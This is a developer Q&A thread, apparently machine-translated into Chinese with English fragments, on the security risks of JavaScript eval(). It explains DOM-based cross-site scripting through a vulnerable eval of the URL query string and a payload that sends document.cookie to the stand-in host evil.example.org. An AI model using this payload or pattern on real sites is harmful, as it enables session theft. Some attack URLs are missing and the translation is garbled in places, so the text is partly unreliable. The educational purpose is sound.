javascript eval() and security
developer.mozilla.org说:
Don't use eval needlessly! eval() is a dangerous function, which
executes the code it's passed with the privileges of the caller.
号
https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/eval
例如,任何恶意用户都可以打开chrome调试器,并修改正在执行的javascript代码。所以他可以把自己的职能付诸实施等等。
一般来说,是否有"安全的javascript代码"之类的东西?
Any malicious user can turn on chrome debugger for example, and modify
javascript code that is being executed. So he can put his own
functions to be executed etc.
号
是的,用户可以使用开发人员工具使用JavaScript"攻击"自己的客户端会话。
然而,eval和开发人员工具之间的区别在于eval可以在可共享链接中执行操作。攻击者可以向受害者发送一个链接,利用代码评估功能。
采用此代码:
1 | eval('alert("Your query string was ' + unescape(document.location.search) + '");'); |
现在,如果查询字符串是
现在假设查克给鲍勃发了一封邮件,主题是"看看这个伟大的链接!".
连接结构如下:
这会将
1 2 | alert("Your query string was hello"); alert(document.cookie+""); |
号
(为了清晰起见,我添加了新行)。这将显示一个警报框,显示所有非httponly cookie。
进入下一阶段,攻击者可以构建一个图像链接,将会话cookie发送给自己。
1 | new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie) |
这被称为跨站点脚本(XSS)攻击。实际上,类型是基于DOM的XSS,具体来说。
Is there such thing as"secure javascript code" in general?
号
是的,对XSS安全的代码可以被认为是"安全的javascript代码"——它可以保护当前用户免受跨域攻击。但是,服务器端代码"信任"当前的最终用户不会使用开发人员工具修改javascript代码或变量以达到自己的优势,但这并不安全。
因此,安全的javascript代码就是这样的代码,它只保护当前用户。
是的,当然有安全的javascript。您总是可以在浏览器中修改javascript,就像修改机器上运行的python程序一样。
能够在您自己的机器上改变代码的工作方式是很琐碎的,并不是一个立即的安全问题。
eval()经常被认为是有问题的,因为它往往是用用户生成的输入来执行的(我认为真正的不正确的用例很少)。@silverlightfox在他出色的回答中解释了为什么这可能是一个问题。归根结底,Eval()可能被用来在别人的机器上运行代码,这是一个安全问题。
请注意,这并不是单独针对javascript的,大多数语言都有类似的命名函数。这些功能附带类似的警告。